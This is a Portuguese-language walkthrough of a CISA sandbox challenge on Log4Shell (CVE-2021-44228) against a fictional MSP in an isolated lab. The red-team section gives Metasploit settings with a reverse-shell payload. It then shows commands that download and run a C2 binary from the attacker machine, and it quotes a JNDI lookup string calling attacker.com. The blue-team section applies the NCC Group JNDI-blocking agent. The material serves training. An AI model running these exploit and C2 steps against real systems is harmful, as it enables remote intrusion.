Desafio Sandbox: Log4Shell (CVE-2021-44228)

Visão Geral

Este passo a passo documenta as etapas realizadas para concluir o Desafio Sandbox de Ameaças da CISA para CVE-2021-44228, comumente conhecido como Log4Shell. O desafio envolveu a conclusão de dois objetivos — um red team (ofensivo) e um blue team (defensivo) — contra um provedor de serviços gerenciados de TI (MSP) fictício chamado DasMSP em um ambiente sandbox isolado.

Nota: Comandos e caminhos de arquivo neste passo a passo refletem as etapas específicas realizadas neste ambiente. Seu ambiente pode diferir, incluindo endereços IP, locais de arquivos e disponibilidade de ferramentas. Adapte os comandos conforme necessário para sua configuração.

Contexto

CVE-2021-44228 é uma vulnerabilidade crítica de execução remota de código (RCE) (CVSS 10.0) que afeta versões específicas do framework de logging Java Apache Log4j. A vulnerabilidade surge do recurso de pesquisa JNDI do Log4j, que pode ser acionado ao injetar uma string especialmente criada, como ${jndi:ldap://attacker.com/exploit}, em qualquer dado que o Log4j registre. Se um atacante conseguir que uma aplicação vulnerável registre uma string maliciosa — comumente por meio de cabeçalhos HTTP — o Log4j entrará em contato com o servidor controlado pelo atacante e executará código arbitrário.

Log4Shell foi adicionada ao Catálogo de Vulnerabilidades Conhecidas Exploradas (KEV) da CISA em 10 de dezembro de 2021 e apareceu nos avisos conjuntos das Vulnerabilidades Mais Frequentemente Exploradas nos anos de 2021 e 2022.

Ambiente

Ambos os sistemas alvo são Linux e executam uma aplicação web Java vulnerável (dasmsp.jar) usando uma versão afetada do Log4j.

Ferramentas Utilizadas

• Metasploit Framework (exploit/multi/http/log4shell_header_injection)
• curl
• Servidor HTTP Python3
• SSH
• SCP
• systemctl
• nano

Objetivo Red Team: Implantar Listener C2 no Alvo Red

Passo 1 — Iniciar o Metasploit

Abriu um terminal no Security-Desk e iniciou o Metasploit:

msfconsole

Passo 2 — Procurar o Módulo Log4Shell

O caminho do módulo fornecido no briefing não correspondia à versão instalada. Procurou o módulo correto:

search log4shell

Identificou o módulo correto: exploit/multi/http/log4shell_header_injection.

Passo 3 — Configurar o Exploit

use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>

Passo 4 — Executar o Exploit

run

O Metasploit testou automaticamente vários cabeçalhos HTTP para a vulnerabilidade Log4Shell. O Alvo Red foi confirmado vulnerável em vários cabeçalhos (Authorization, Cache-Control, User-Agent, X-Forwarded-For e outros). Uma sessão de shell de comando foi aberta para o Alvo Red.

Passo 5 — Verificar Acesso ao Shell

Confirmou acesso de nível root no Alvo Red:

id

Saída: uid=0(root) gid=0(root) groups=0(root)

Passo 6 — Transferir e Executar deploy_c2

O binário deploy_c2 estava localizado no Security-Desk, não no Alvo Red. Nem wget nem uma referência de caminho direto estavam disponíveis no alvo. Abriu um segundo terminal no Security-Desk e serviu o arquivo via Python:

cd ~/Desktop/Resources
python3 -m http.server 8080

Na sessão de shell do Metasploit no Alvo Red, baixou e executou o binário:

curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

Saída: Feito!

✅ Listener C2 Implantado no Alvo Red verificação confirmada.

Objetivo Blue Team: Mitigar CVE-2021-44228 no Alvo Blue

O método de mitigação utilizado é o agente Java log4j-jndi-be-gone-standalone.jar desenvolvido pelo NCC Group, que corrige o comportamento de pesquisa JNDI em tempo de execução sem exigir uma correção na aplicação subjacente. Detalhes sobre este agente podem ser encontrados no blog de pesquisa do NCC Group.

Passo 1 — Transferir o Agente Java para o Alvo Blue

Do terminal do Security-Desk, usou SCP para transferir o arquivo JAR do agente Java:

scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/

Passo 2 — Conectar via SSH no Alvo Blue

ssh playerone@<Blue-Target-IP>

Passo 3 — Editar o Arquivo de Unidade de Serviço

sudo nano /etc/systemd/system/dasmsp.service

Localizou a linha ExecStart e adicionou a flag -javaagent:

Antes:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar

Depois:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar

Salvou com Ctrl+O → Enter → Ctrl+X.

Passo 4 — Recarregar e Reiniciar o Serviço

sudo systemctl daemon-reload
sudo systemctl restart dasmsp

✅ CVE-2021-44228 Mitigado no Alvo Blue verificação confirmada.